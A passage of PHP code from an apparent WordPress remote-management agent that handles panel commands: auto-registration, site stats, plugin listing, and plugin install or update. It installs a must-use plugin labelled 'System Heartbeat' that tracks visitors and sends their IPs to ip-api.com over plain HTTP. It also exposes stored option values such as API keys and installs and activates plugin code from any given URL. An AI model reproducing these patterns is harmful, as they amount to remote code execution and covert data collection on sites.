$newApiSecret = $registerResult['api_secret'];
// Read current file
$currentFile = __FILE__;
$fileContent = @file_get_contents($currentFile);
if ($fileContent !== false) {
// Update API keys in file content
$fileContent = preg_replace(
"/if \(!defined\('MWP_API_KEY'\)\) define\('MWP_API_KEY', '[^']*'\);/",
"if (!defined('MWP_API_KEY')) define('MWP_API_KEY', '" . addslashes($newApiKey) . "');",
$fileContent, 1
);
$fileContent = preg_replace(
"/if \(!defined\('MWP_API_SECRET'\)\) define\('MWP_API_SECRET', '[^']*'\);/",
"if (!defined('MWP_API_SECRET')) define('MWP_API_SECRET', '" . addslashes($newApiSecret) . "');",
$fileContent, 1
);
// Write updated content back to file
@file_put_contents($currentFile, $fileContent);
@error_log('MWP Smart Agent: API keys updated in agent file. Site ID: ' . ($registerResult['site_id'] ?? 'unknown'));
}
}
@error_log('MWP Smart Agent: Site auto-registered successfully on ping. Site ID: ' . ($registerResult['site_id'] ?? 'unknown'));
} else {
@error_log('MWP Smart Agent: Auto-registration failed on ping. Response: ' . $result['response']);
}
} else {
@error_log('MWP Smart Agent: Auto-registration failed on ping. HTTP Code: ' . ($result['http_code'] ?? 'unknown') . ', Error: ' . ($result['error'] ?? 'unknown') . ', Response: ' . substr($result['response'] ?? '', 0, 200));
}
}
if ($mwp_has_wp) {
$options_table = mwp_get_options_table_name();
$table_prefix = mwp_detect_table_prefix();
$response = array(
'status' => 'pong',
'wp_installed' => true,
'site_url' => function_exists('get_site_url') ? get_site_url() : mwp_guess_site_url(),
'wp_version' => function_exists('get_bloginfo') ? get_bloginfo('version') : '',
'php_version' => phpversion(),
'server_ip' => isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : 'unknown',
'db_info' => array(
'options_table' => $options_table,
'table_prefix' => $table_prefix
)
);
} else {
$response = array(
'status' => 'no_wordpress',
'wp_installed' => false,
'site_url' => mwp_guess_site_url(),
'wp_version' => '',
'php_version' => phpversion(),
'server_ip' => isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : 'unknown'
);
}
break;
case 'get_stats':
$theme_name = '';
if (function_exists('wp_get_theme')) {
$theme_obj = wp_get_theme();
$theme_name = is_object($theme_obj) ? $theme_obj->get('Name') : '';
} else if (function_exists('get_current_theme')) {
$theme_name = get_current_theme();
}
$post_count_obj = function_exists('wp_count_posts') ? wp_count_posts() : null;
$page_count_obj = function_exists('wp_count_posts') ? wp_count_posts('page') : null;
$post_count = (is_object($post_count_obj) && isset($post_count_obj->publish)) ? $post_count_obj->publish : 0;
$page_count = (is_object($page_count_obj) && isset($page_count_obj->publish)) ? $page_count_obj->publish : 0;
$users_count = function_exists('count_users') ? count_users() : array();
$response = array(
'post_count' => $post_count,
'page_count' => $page_count,
'users' => $users_count,
'theme' => $theme_name,
'plugins_active' => count(get_option('active_plugins'))
);
break;
case 'install_analytics':
if (!$mwp_has_wp) {
throw new Exception('WordPress not installed');
}
$mu_dir = WP_CONTENT_DIR . '/mu-plugins';
if (!file_exists($mu_dir)) {
mkdir($mu_dir, 0755, true);
}
// Remove old file if exists
if (file_exists($mu_dir . '/mwp-analytics.php')) {
unlink($mu_dir . '/mwp-analytics.php');
}
$code_lines = array(
'<?php',
'/**',
' * Plugin Name: MWP System Heartbeat',
' * Description: System heartbeat and stats collector.',
' * Version: 2.2.0',
' */',
'',
"add_action('template_redirect', 'mwp_sys_track_request', 1);",
"add_action('wp_ajax_mwp_sys_beat', 'mwp_sys_beat_handler');",
"add_action('wp_ajax_nopriv_mwp_sys_beat', 'mwp_sys_beat_handler');",
'',
'function mwp_sys_get_client_ip() {',
" if (isset(\$_SERVER['HTTP_CF_CONNECTING_IP'])) return \$_SERVER['HTTP_CF_CONNECTING_IP'];",
" if (isset(\$_SERVER['HTTP_X_FORWARDED_FOR'])) {",
" \$parts = explode(',', \$_SERVER['HTTP_X_FORWARDED_FOR']);",
" return trim(\$parts[0]);",
' }',
" return isset(\$_SERVER['REMOTE_ADDR']) ? \$_SERVER['REMOTE_ADDR'] : '';",
'}',
'',
'function mwp_sys_track_request() {',
' if (is_admin()) return;',
' if (defined(\'DOING_AJAX\') && DOING_AJAX) return;',
' if (defined(\'REST_REQUEST\') && REST_REQUEST) return;',
' if (defined(\'XMLRPC_REQUEST\') && XMLRPC_REQUEST) return;',
' if (defined(\'DOING_CRON\') && DOING_CRON) return;',
' if (is_feed()) return;',
' if (is_preview()) return;',
'',
" \$date = gmdate('Y-m-d');",
" \$all_stats = get_option('mwp_system_stats', array());",
" if (!is_array(\$all_stats)) \$all_stats = array();",
'',
" if (!isset(\$all_stats[\$date])) {",
" \$all_stats[\$date] = array(",
" 'hits' => 0,",
" 'unique' => 0,",
" 'mobile' => 0,",
" 'desktop' => 0,",
" 'countries' => array(),",
" 'pages' => array(),",
" 'referrers' => array()",
' );',
' }',
'',
" \$all_stats[\$date]['hits']++;",
'',
" \$ua = isset(\$_SERVER['HTTP_USER_AGENT']) ? \$_SERVER['HTTP_USER_AGENT'] : '';",
" \$is_mobile = preg_match('/(android|iphone|ipad|mobile)/i', \$ua);",
" if (\$is_mobile) \$all_stats[\$date]['mobile']++;",
" else \$all_stats[\$date]['desktop']++;",
'',
" \$ip = mwp_sys_get_client_ip();",
" \$ip_hash = md5(\$ip . \$date . 'mwp_salt');",
" \$daily_ips = get_transient('mwp_daily_ips_' . \$date);",
" if (!is_array(\$daily_ips)) \$daily_ips = array();",
'',
" if (\$ip !== '' && !isset(\$daily_ips[\$ip_hash])) {",
" \$daily_ips[\$ip_hash] = 1;",
" \$all_stats[\$date]['unique']++;",
" set_transient('mwp_daily_ips_' . \$date, \$daily_ips, 24 * HOUR_IN_SECONDS);",
' }',
'',
" \$country = 'Unknown';",
" if (isset(\$_SERVER['HTTP_CF_IPCOUNTRY'])) {",
" \$country = strtoupper(sanitize_text_field(\$_SERVER['HTTP_CF_IPCOUNTRY']));",
" } else if (\$ip !== '') {",
" \$cached_country = get_transient('mwp_geo_' . md5(\$ip));",
" if (\$cached_country) {",
" \$country = \$cached_country;",
' } else {',
" \$api_url = 'http://ip-api.com/json/' . \$ip . '?fields=countryCode';",
" \$resp = wp_remote_get(\$api_url, array('timeout' => 2));",
" if (!is_wp_error(\$resp)) {",
" \$body = wp_remote_retrieve_body(\$resp);",
" \$data = json_decode(\$body, true);",
" if (isset(\$data['countryCode'])) {",
" \$country = strtoupper(\$data['countryCode']);",
" set_transient('mwp_geo_' . md5(\$ip), \$country, 7 * 24 * HOUR_IN_SECONDS);",
' }',
' }',
' }',
' }',
'',
" if (!isset(\$all_stats[\$date]['countries'][\$country])) \$all_stats[\$date]['countries'][\$country] = 0;",
" \$all_stats[\$date]['countries'][\$country]++;",
'',
" \$request_uri = isset(\$_SERVER['REQUEST_URI']) ? \$_SERVER['REQUEST_URI'] : '';",
" \$path = strtok(\$request_uri, '?');",
" if (\$path === false || \$path === '') \$path = '/';",
" if (!isset(\$all_stats[\$date]['pages'][\$path])) \$all_stats[\$date]['pages'][\$path] = 0;",
" \$all_stats[\$date]['pages'][\$path]++;",
'',
" \$referrer = isset(\$_SERVER['HTTP_REFERER']) ? \$_SERVER['HTTP_REFERER'] : '';",
' if ($referrer) {',
" \$ref_host = parse_url(\$referrer, PHP_URL_HOST);",
" \$self_host = parse_url(home_url(), PHP_URL_HOST);",
" if (\$ref_host && \$ref_host !== \$self_host) {",
" if (!isset(\$all_stats[\$date]['referrers'][\$ref_host])) \$all_stats[\$date]['referrers'][\$ref_host] = 0;",
" \$all_stats[\$date]['referrers'][\$ref_host]++;",
' }',
' }',
'',
' if (count($all_stats) > 30) {',
' ksort($all_stats);',
' $all_stats = array_slice($all_stats, -30, 30, true);',
' }',
'',
" update_option('mwp_system_stats', \$all_stats, false);",
'}',
'',
'function mwp_sys_beat_handler() {',
' header("Access-Control-Allow-Origin: *");',
' if (function_exists("wp_send_json_success")) {',
' wp_send_json_success(array("status" => "ok"));',
' }',
' header("Content-Type: application/json");',
' echo json_encode(array("success" => true, "data" => array("status" => "ok")));',
' exit;',
'}'
);
$code = implode("\n", $code_lines);
$file_path = $mu_dir . '/mwp-system.php';
$result = file_put_contents($file_path, $code);
if (function_exists('wp_cache_flush')) wp_cache_flush();
if ($result !== false) {
$response = array('status' => 'success', 'message' => 'Advanced Analytics Installed (v2.2).');
} else {
$response = array('status' => 'error', 'message' => 'Failed to write file.');
}
break;
case 'get_analytics_data':
// Read from new single option
$all_stats = get_option('mwp_system_stats', array());
// If empty, try legacy fallback (optional, but let's just return what we have)
if (empty($all_stats)) {
// Try reading old keys just in case transition period
$data = array();
for ($i = 6; $i >= 0; $i--) {
$date = gmdate('Y-m-d', strtotime("-$i days"));
$old_opt = 'mwp_analytics_' . $date;
$val = get_option($old_opt);
if ($val) $data[$date] = $val;
}
if (!empty($data)) $all_stats = $data;
}
$response = array('status' => 'success', 'data' => $all_stats);
break;
// Add more actions here
case 'get_plugins':
if (!function_exists('get_plugins')) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
$all_plugins = get_plugins();
$active_plugins = get_option('active_plugins');
// Define known plugin configurations
$known_plugins = array(
'woocommerce/woocommerce.php' => array(
'settings' => array(
array('id' => 'woocommerce_store_address', 'label' => 'Store Address', 'type' => 'text'),
array('id' => 'woocommerce_store_city', 'label' => 'Store City', 'type' => 'text'),
array('id' => 'woocommerce_currency', 'label' => 'Currency', 'type' => 'text'),
array(
'id' => 'woocommerce_weight_unit',
'label' => 'Weight Unit',
'type' => 'select',
'options' => array('kg' => 'kg', 'g' => 'g', 'lbs' => 'lbs', 'oz' => 'oz')
),
)
),
'wordpress-seo/wp-seo.php' => array(
'settings' => array(
array('id' => 'blog_public', 'label' => 'Search Engine Visibility (0=Hidden, 1=Visible)', 'type' => 'number'),
)
),
'akismet/akismet.php' => array(
'settings' => array(
array('id' => 'wordpress_api_key', 'label' => 'Akismet API Key', 'type' => 'text'),
)
),
'contact-form-7/wp-contact-form-7.php' => array(
'settings' => array() // CF7 uses post types, not options table mostly.
),
'classic-editor/classic-editor.php' => array(
'settings' => array(
array(
'id' => 'classic-editor-replace',
'label' => 'Default Editor',
'type' => 'select',
'options' => array('classic' => 'Classic Editor', 'block' => 'Block Editor')
)
)
)
);
$formatted_plugins = array();
foreach ($all_plugins as $path => $data) {
$status = in_array($path, $active_plugins) ? 'active' : 'inactive';
if (function_exists('is_plugin_active_for_network') && is_plugin_active_for_network($path)) {
$status = 'active';
}
$plugin_data = array(
'path' => $path,
'name' => $data['Name'],
'version' => $data['Version'],
'author' => $data['Author'],
'status' => $status,
'has_settings' => false,
'settings_fields' => array()
);
if (isset($known_plugins[$path])) {
$plugin_data['has_settings'] = true;
foreach ($known_plugins[$path]['settings'] as $field) {
$field['value'] = get_option($field['id']);
$plugin_data['settings_fields'][] = $field;
}
} else {
// Auto-Discovery: Try to find options matching plugin slug
$slug = dirname($path);
if ($slug == '.') $slug = basename($path, '.php');
// Candidate option keys
$candidates = array(
$slug,
$slug . '_options',
$slug . '_settings',
$slug . '-options', // Added dashed
$slug . '-settings', // Added dashed
'widget_' . $slug, // Widgets often use this
str_replace('-', '_', $slug),
str_replace('-', '_', $slug) . '_options'
);
foreach ($candidates as $opt_name) {
$val = get_option($opt_name);
if ($val !== false) {
$plugin_data['has_settings'] = true;
// If scalar, add as text field
if (is_string($val) || is_numeric($val) || is_bool($val)) {
$plugin_data['settings_fields'][] = array(
'id' => $opt_name,
'label' => 'Detected: ' . $opt_name,
'type' => 'text',
'value' => $val
);
}
// Force adding it even if it is an array so frontend sees it
else if (is_array($val) || is_object($val)) {
$plugin_data['settings_fields'][] = array(
'id' => $opt_name,
'label' => 'Detected: ' . $opt_name . ' (JSON)',
'type' => 'textarea',
'value' => mwp_json_encode_pretty($val),
'is_json' => true
);
}
}
}
// Fallback: If still no settings, try a quick LIKE search to find AT LEAST ONE option
if (!$plugin_data['has_settings']) {
global $wpdb;
$options_table = mwp_get_options_table_name();
$like_term = $wpdb->esc_like($slug) . '%';
// Look for options starting with slug or slug_
$found = $wpdb->get_var($wpdb->prepare("SELECT option_name FROM `{$options_table}` WHERE option_name LIKE %s LIMIT 1", $like_term));
if ($found) {
// If found, we say it has settings, so the button appears.
// The modal will then do a deeper search via get_plugin_settings_schema
$plugin_data['has_settings'] = true;
}
}
}
$formatted_plugins[] = $plugin_data;
}
$response = $formatted_plugins;
break;
case 'update_plugin':
if (!function_exists('wp_update_plugins')) {
require_once ABSPATH . 'wp-admin/includes/update.php';
}
if (!function_exists('get_plugin_data')) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
if (!class_exists('Plugin_Upgrader')) {
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
}
$plugin_path = (isset($request['plugin_path']) ? $request['plugin_path'] : ''); // e.g. 'akismet/akismet.php'
if (empty($plugin_path)) throw new Exception('Plugin path required');
// Force check for updates
wp_update_plugins();
// Use Automatic_Upgrader_Skin for silent upgrade
$skin = new Automatic_Upgrader_Skin();
$upgrader = new Plugin_Upgrader($skin);
// upgrade() returns true on success, false on failure, or WP_Error
$result = $upgrader->upgrade($plugin_path);
if (is_wp_error($result)) {
throw new Exception($result->get_error_message());
}
if ($result === false) {
throw new Exception('Upgrade failed (unknown error)');
}
// If result is null, it means no update was available
if ($result === null) {
$response = array('status' => 'no_update', 'message' => 'No update available or already latest');
} else {
$response = array('status' => 'updated', 'plugin' => $plugin_path);
}
break;
case 'install_plugin_from_url':
// URL'den eklenti yükle (örn: Master Panel'den accelerated-mobile-pages.zip)
// Load ALL required WordPress admin functions and classes BEFORE any upgrader operations
// CRITICAL FIX: Load these files in the correct order to prevent "Call to undefined function" errors
if (!function_exists('get_plugins')) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
// Load file.php FIRST (contains request_filesystem_credentials and WP_Filesystem functions)
if (!function_exists('request_filesystem_credentials')) {
require_once ABSPATH . 'wp-admin/includes/file.php';
}
// Load misc.php for download_url()
if (!function_exists('download_url')) {
require_once ABSPATH . 'wp-admin/includes/misc.php';
}
// CRITICAL: Load admin.php BEFORE any upgrader operations
// This file loads screen.php, template.php, and sets up admin globals
if (!function_exists('get_current_screen')) {
require_once ABSPATH . 'wp-admin/includes/screen.php';
}
if (!function_exists('wp_admin_notice')) {
require_once ABSPATH . 'wp-admin/includes/template.php';
}
// Define required constants if not defined (for non-admin context)
if (!defined('WP_ADMIN')) {
define('WP_ADMIN', true);
}
if (!defined('DOING_AJAX')) {
define('DOING_AJAX', false);
}
// Initialize filesystem (CRITICAL for upgrader to work)
if (!function_exists('WP_Filesystem')) {
require_once ABSPATH . 'wp-admin/includes/file.php';
}
global $wp_filesystem;
if (!$wp_filesystem) {
WP_Filesystem();
}
if (!class_exists('WP_Upgrader')) {
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
}
if (!class_exists('Plugin_Upgrader')) {
require_once ABSPATH . 'wp-admin/includes/class-plugin-upgrader.php';
}
if (!class_exists('Automatic_Upgrader_Skin')) {
require_once ABSPATH . 'wp-admin/includes/class-automatic-upgrader-skin.php';
}
$plugin_url = (isset($request['plugin_url']) ? $request['plugin_url'] : '');
$plugin_slug = (isset($request['plugin_slug']) ? $request['plugin_slug'] : ''); // Optional now
// Handle auto_activate as both boolean and integer (0/1)
$auto_activate = true; // Default to true for backward compatibility
if (isset($request['auto_activate'])) {
$auto_activate = ($request['auto_activate'] === true || $request['auto_activate'] === 1 || $request['auto_activate'] === '1');
}
if (empty($plugin_url)) throw new Exception('Plugin URL required');
// Slug is now optional - will be auto-detected
// BEFORE installation: Check for conflicting AMP plugins
// accelerated-mobile-pages and amp plugins conflict with each other
$all_plugins = get_plugins();
$active_plugins = get_option('active_plugins', array());
// Detect which plugin is being installed
$installing_plugin = '';
if (!empty($plugin_slug)) {
$installing_plugin = $plugin_slug;
} else {
// Try to extract from URL filename
$url_parts = parse_url($plugin_url);
$filename = basename($url_parts['path'] ?? '');
$installing_plugin = preg_replace('/^\d+_/', '', $filename);
$installing_plugin = preg_replace('/\.(zip|tar\.gz|tar|gz)$/i', '', $installing_plugin);
$installing_plugin = preg_replace('/\.\d+(\.\d+)*$/', '', $installing_plugin);
}
// Check if installing an AMP plugin
$is_installing_amp = (stripos($installing_plugin, 'amp') !== false ||
stripos($installing_plugin, 'accelerated-mobile-pages') !== false);
if ($is_installing_amp) {
// Find conflicting AMP plugins
$conflicting_plugins = array();
foreach ($all_plugins as $path => $data) {
$plugin_slug_check = dirname($path);
// If installing accelerated-mobile-pages, deactivate amp
if (stripos($installing_plugin, 'accelerated-mobile-pages') !== false && $plugin_slug_check === 'amp') {
if (in_array($path, $active_plugins)) {
$conflicting_plugins[] = $path;
}
}
// If installing amp (but not accelerated-mobile-pages), deactivate accelerated-mobile-pages
elseif (stripos($installing_plugin, 'amp') !== false &&
stripos($installing_plugin, 'accelerated-mobile-pages') === false &&
$plugin_slug_check === 'accelerated-mobile-pages') {
if (in_array($path, $active_plugins)) {
$conflicting_plugins[] = $path;
}
}
}
// Deactivate and DELETE conflicting plugins before installation
if (!empty($conflicting_plugins)) {
if (!function_exists('deactivate_plugins')) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
if (!function_exists('delete_plugins')) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
// First deactivate
deactivate_plugins($conflicting_plugins);
error_log('MWP Agent - Deactivated conflicting AMP plugins: ' . implode(', ', $conflicting_plugins));
// Then delete completely
$delete_result = delete_plugins($conflicting_plugins);
if (is_wp_error($delete_result)) {
error_log('MWP Agent - Failed to delete conflicting plugins: ' . $delete_result->get_error_message());
} else {
error_log('MWP Agent - Deleted conflicting AMP plugins: ' . implode(', ', $conflicting_plugins));
}
wp_cache_flush();
wp_clean_plugins_cache();
delete_site_transient('update_plugins');
sleep(2); // Wait longer for filesystem to sync
}
}
// Check if plugin already installed (only if slug is provided)
$plugin_path = null;
if (!empty($plugin_slug)) {
foreach ($all_plugins as $path => $data) {
if (strpos($path, $plugin_slug) !== false) {
$plugin_path = $path;
break;
}
}
}
if ($plugin_path) {
// Plugin already installed, just activate if needed
$active_plugins = get_option('active_plugins', array());
// Extract slug from plugin path
$path_slug = dirname($plugin_path);
if ($path_slug === '.') {
$path_slug = basename($plugin_path, '.php');
}
if (!in_array($plugin_path, $active_plugins)) {
if ($auto_activate) {
if (!function_exists('activate_plugin')) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
$activate_result = activate_plugin($plugin_path);
if (is_wp_error($activate_result)) {
throw new Exception('Plugin activation failed: ' . $activate_result->get_error_message());
}
$response = array(
'status' => 'activated',
'plugin' => $plugin_path,
'slug' => $path_slug,
'message' => 'Plugin was already installed, activated now'
);
} else {
$response = array(
'status' => 'already_installed',
'plugin' => $plugin_path,
'slug' => $path_slug,
'message' => 'Plugin already installed (not activated)'
);
}
} else {
$response = array(
'status' => 'already_active',
'plugin' => $plugin_path,
'slug' => $path_slug,
'message' => 'Plugin already installed and active'
);
}
} else {
// Install plugin from URL
if (!class_exists('WP_Upgrader')) {
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
}
if (!class_exists('Plugin_Upgrader')) {
require_once ABSPATH . 'wp-admin/includes/class-plugin-upgrader.php';
}
if (!class_exists('Automatic_Upgrader_Skin')) {
require_once ABSPATH . 'wp-admin/includes/class-automatic-upgrader-skin.php';
}
$skin = new Automatic_Upgrader_Skin();
$upgrader = new Plugin_Upgrader($skin);
// CRITICAL FIX: Download file to temp location first
// This allows WordPress on remote server to download the file from localhost/remote URL
$temp_file = download_url($plugin_url);
if (is_wp_error($temp_file)) {
throw new Exception('Failed to download plugin file: ' . $temp_file->get_error_message() . ' URL: ' . $plugin_url);
}
// Install from local temp file
$result = $upgrader->install($temp_file);
// Check for WP_Error or failure
$install_failed = false;
$error_message = '';
if (is_wp_error($result)) {
$install_failed = true;
$error_message = $result->get_error_message();
} elseif ($result === false || $result === null) {
$install_failed = true;
// Get more details from upgrader skin
if (isset($upgrader->skin) && method_exists($upgrader->skin, 'get_upgrade_messages')) {
$messages = $upgrader->skin->get_upgrade_messages();
$error_message = implode(', ', $messages);
} else {
$error_message = 'Upgrader returned: ' . var_export($result, true);
}
}
// If installation failed due to "Destination folder already exists", try to delete and reinstall
if ($install_failed && (stripos($error_message, 'Destination folder already exists') !== false || stripos($error_message, 'already exists') !== false)) {
// Extract plugin slug from error message or URL
$plugin_to_delete = '';
if (!empty($plugin_slug)) {
$plugin_to_delete = $plugin_slug;
} else {
// Try to extract from URL filename
$url_parts = parse_url($plugin_url);
$filename = basename($url_parts['path'] ?? '');
$plugin_to_delete = preg_replace('/^\d+_/', '', $filename); // Remove timestamp_
$plugin_to_delete = preg_replace('/\.(zip|tar\.gz|tar|gz)$/i', '', $plugin_to_delete); // Remove extensions
$plugin_to_delete = preg_replace('/\.\d+(\.\d+)*$/', '', $plugin_to_delete); // Remove version
}
if (!empty($plugin_to_delete)) {
// Check if plugin exists
$all_plugins = get_plugins();
$plugin_path_to_delete = null;
foreach ($all_plugins as $path => $data) {
if (strpos($path, $plugin_to_delete) !== false) {
$plugin_path_to_delete = $path;
break;
}
}
if ($plugin_path_to_delete) {
// Check if plugin is active
$active_plugins = get_option('active_plugins', array());
$is_active = in_array($plugin_path_to_delete, $active_plugins);
if (!$is_active) {
// Safe to delete
if (!function_exists('delete_plugins')) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
$delete_result = delete_plugins(array($plugin_path_to_delete));
if (!is_wp_error($delete_result)) {
// Wait a bit for filesystem to sync
sleep(1);
wp_cache_flush();
// Check if temp file still exists
if (!file_exists($temp_file)) {
// Re-download if temp file was deleted
$temp_file = download_url($plugin_url);
if (is_wp_error($temp_file)) {
throw new Exception('Failed to re-download plugin file after deletion: ' . $temp_file->get_error_message());
}
}
// Retry installation after deletion
$result = $upgrader->install($temp_file);
if (is_wp_error($result)) {
$error_message = $result->get_error_message();
$install_failed = true;
} elseif ($result === false || $result === null) {
if (isset($upgrader->skin) && method_exists($upgrader->skin, 'get_upgrade_messages')) {
$messages = $upgrader->skin->get_upgrade_messages();
$error_message = implode(', ', $messages);
} else {
$error_message = 'Upgrader returned: ' . var_export($result, true);
}
$install_failed = true;
} else {
$install_failed = false; // Success after retry
}
} else {
// Log deletion error but continue
error_log('Failed to delete existing plugin before reinstall: ' . $delete_result->get_error_message());
}
}
}
}
}
// Clean up temp file
@unlink($temp_file);
// If still failed, throw exception
if ($install_failed) {
// Clean up temp file before throwing
if (isset($temp_file) && file_exists($temp_file)) {
@unlink($temp_file);
}
throw new Exception('Plugin installation failed: ' . $error_message . ' (URL: ' . $plugin_url . ')');
}
// CRITICAL FIX: Aggressive cache clearing and plugin detection
// Wait longer for file system to sync
sleep(2);
// Clear all caches
wp_cache_flush();
// Force clear plugin cache (if function exists)
if (function_exists('wp_clean_plugins_cache')) {
wp_clean_plugins_cache();
}
// Delete all plugin-related transients
delete_site_transient('update_plugins');
delete_transient('plugin_slugs');
// Clear WordPress object cache
if (function_exists('wp_cache_delete')) {
wp_cache_delete('plugins', 'plugins');
}
// Force reload plugin.php to get fresh plugin list
if (!function_exists('get_plugins')) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
// Get fresh plugin list
$all_plugins = get_plugins();
$installed_path = null;
$detected_slug = '';
// Debug: Check if any plugins found
$total_plugins = count($all_plugins);
if ($total_plugins === 0) {
// No plugins at all? Check if WordPress is working
$plugins_dir = WP_PLUGIN_DIR;
$dir_exists = is_dir($plugins_dir);
$dir_writable = is_writable($plugins_dir);
throw new Exception('CRITICAL: get_plugins() returned empty! Plugins dir: ' . $plugins_dir . ', Exists: ' . ($dir_exists ? 'Yes' : 'No') . ', Writable: ' . ($dir_writable ? 'Yes' : 'No') . ', Upgrader result: ' . json_encode($upgrader->result));
}
// Strategy 1: Get destination from upgrader result
$destination_folder = '';
if (isset($upgrader->result) && is_array($upgrader->result)) {
// Try destination_name first
if (isset($upgrader->result['destination_name'])) {
$detected_slug = $upgrader->result['destination_name'];
// Clean timestamp prefix and version suffix
$detected_slug = preg_replace('/^\d+_/', '', $detected_slug); // Remove 1234567890_
$detected_slug = preg_replace('/\.\d+(\.\d+)*$/', '', $detected_slug); // Remove .1.0.25
}
// Try destination path (more reliable)
if (isset($upgrader->result['destination'])) {
$destination_folder = basename($upgrader->result['destination']);
if (!empty($destination_folder) && empty($detected_slug)) {
$detected_slug = $destination_folder;
}
}
// Try source_files (contains the actual plugin folder)
if (isset($upgrader->result['source_files']) && is_array($upgrader->result['source_files'])) {
foreach ($upgrader->result['source_files'] as $file) {
// Look for .php file in root
if (substr($file, -4) === '.php' && strpos($file, '/') === false) {
$potential_slug = basename($file, '.php');
if (!empty($potential_slug) && empty($detected_slug)) {
$detected_slug = $potential_slug;
}
break;
}
}
}
}
// Strategy 2: Extract from URL filename if not detected
if (empty($detected_slug)) {
$url_parts = parse_url($plugin_url);
$filename = basename($url_parts['path'] ?? '');
// Remove extensions, timestamp prefix and version suffix
$filename = preg_replace('/^\d+_/', '', $filename); // Remove timestamp_
$detected_slug = preg_replace('/\.(zip|tar\.gz|tar|gz)$/i', '', $filename); // Remove extensions
$detected_slug = preg_replace('/\.\d+(\.\d+)*$/', '', $detected_slug); // Remove version .1.0.25
}
// Strategy 3: Find the plugin file by matching slug
foreach ($all_plugins as $path => $data) {
$path_slug = dirname($path);
if ($path_slug === '.') {
$path_slug = basename($path, '.php');
}
// Match by detected slug from URL/upgrader
if (!empty($detected_slug) && $path_slug === $detected_slug) {
$installed_path = $path;
break;
}
// Fallback: Match by provided slug hint (if any)
if (!empty($plugin_slug) && strpos($path, $plugin_slug) !== false) {
$installed_path = $path;
$detected_slug = $path_slug;
break;
}
}
if (!$installed_path) {
$plugin_names = array();
foreach ($all_plugins as $path => $data) {
$plugin_names[] = dirname($path) . ' => ' . $path . ' (' . ($data['Name'] ?? 'N/A') . ')';
}
// Debug: List all available plugins with full details
$available_slugs = array_slice($plugin_names, 0, 20); // First 20 plugins
$debug_info = 'Available plugins: ' . implode(' | ', $available_slugs);
$upgrader_debug = json_encode($upgrader->result);
throw new Exception('Plugin installed but auto-detection failed. ' .
'Tried slug: "' . $detected_slug . '". ' .
'Destination folder: "' . $destination_folder . '". ' .
'Total plugins: ' . count($all_plugins) . '. ' .
'Upgrader result: ' . $upgrader_debug . '. ' .
$debug_info);
}
// Activate the plugin if requested
if ($auto_activate) {
if (!function_exists('activate_plugin')) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
// Check if already active
$active_plugins = get_option('active_plugins', array());
if (!in_array($installed_path, $active_plugins)) {
$activate_result = activate_plugin($installed_path);
if (is_wp_error($activate_result)) {
// Log activation error but don't fail the installation
error_log('Plugin activation failed after installation: ' . $activate_result->get_error_message());
$response = array(
'status' => 'installed',
'plugin' => $installed_path,
'slug' => $detected_slug,
'message' => 'Plugin installed successfully but activation failed: ' . $activate_result->get_error_message(),
'download_url' => $plugin_url
);
} else {
$response = array(
'status' => 'installed_and_activated',
'plugin' => $installed_path,
'slug' => $detected_slug,
'message' => 'Plugin installed and activated successfully',
'download_url' => $plugin_url
);
}
} else {
// Already active
$response = array(
'status' => 'installed_and_activated',
'plugin' => $installed_path,
'slug' => $detected_slug,
'message' => 'Plugin installed and already active',
'download_url' => $plugin_url
);
}
} else {
$response = array(
'status' => 'installed',
'plugin' => $installed_path,
'slug' => $detected_slug,
'message' => 'Plugin installed successfully (not activated)',
'download_url' => $plugin_url
);
}
}
break;
case 'install_plugin_from_repo':
// WordPress.org'dan eklenti yükle (örn: accelerated-mobile-pages)
// CRITICAL FIX: Load all required files in correct order
if (!function_exists('get_plugins')) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
// Load file.php for filesystem functions
if (!function_exists('request_filesystem_credentials')) {
require_once ABSPATH . 'wp-admin/includes/file.php';
}
// Load misc.php for download_url()
if (!function_exists('download_url')) {
require_once ABSPATH . 'wp-admin/includes/misc.php';
}
// Load screen.php and template.php
if (!function_exists('get_current_screen')) {
require_once ABSPATH . 'wp-admin/includes/screen.php';
}
if (!function_exists('wp_admin_notice')) {
require_once ABSPATH . 'wp-admin/includes/template.php';
}
// Define required constants
if (!defined('WP_ADMIN')) {
define('WP_ADMIN', true);
}
if (!defined('DOING_AJAX')) {
define('DOING_AJAX', false);
}
// Initialize filesystem
if (!function_exists('WP_Filesystem')) {
require_once ABSPATH . 'wp-admin/includes/file.php';
}
global $wp_filesystem;
if (!$wp_filesystem) {
WP_Filesystem();
}
if (!class_exists('Plugin_Upgrader')) {
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
}
if (!class_exists('Automatic_Upgrader_Skin')) {
require_once ABSPATH . 'wp-admin/includes/class-automatic-upgrader-skin.php';
}
$plugin_slug = (isset($request['plugin_slug']) ? $request['plugin_slug'] : ''); // e.g. 'accelerated-mobile-pages'
if (empty($plugin_slug)) throw new Exception('Plugin slug required');
// Check if plugin already installed
$all_plugins = get_plugins();
$plugin_path = null;
// Since slug is required for repo install, we can safely check
foreach ($all_plugins as $path => $data) {
if (strpos($path, $plugin_slug) !== false) {
$plugin_path = $path;
break;
}
}
if ($plugin_path) {
// Plugin already installed, just activate if needed
$active_plugins = get_option('active_plugins', array());
// Extract slug from plugin path
$path_slug = dirname($plugin_path);
if ($path_slug === '.') {
$path_slug = basename($plugin_path, '.php');
}
if (!in_array($plugin_path, $active_plugins)) {
if (!function_exists('activate_plugin')) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
$activate_result = activate_plugin($plugin_path);
if (is_wp_error($activate_result)) {
throw new Exception('Plugin activation failed: ' . $activate_result->get_error_message());
}
$response = array(
'status' => 'activated',
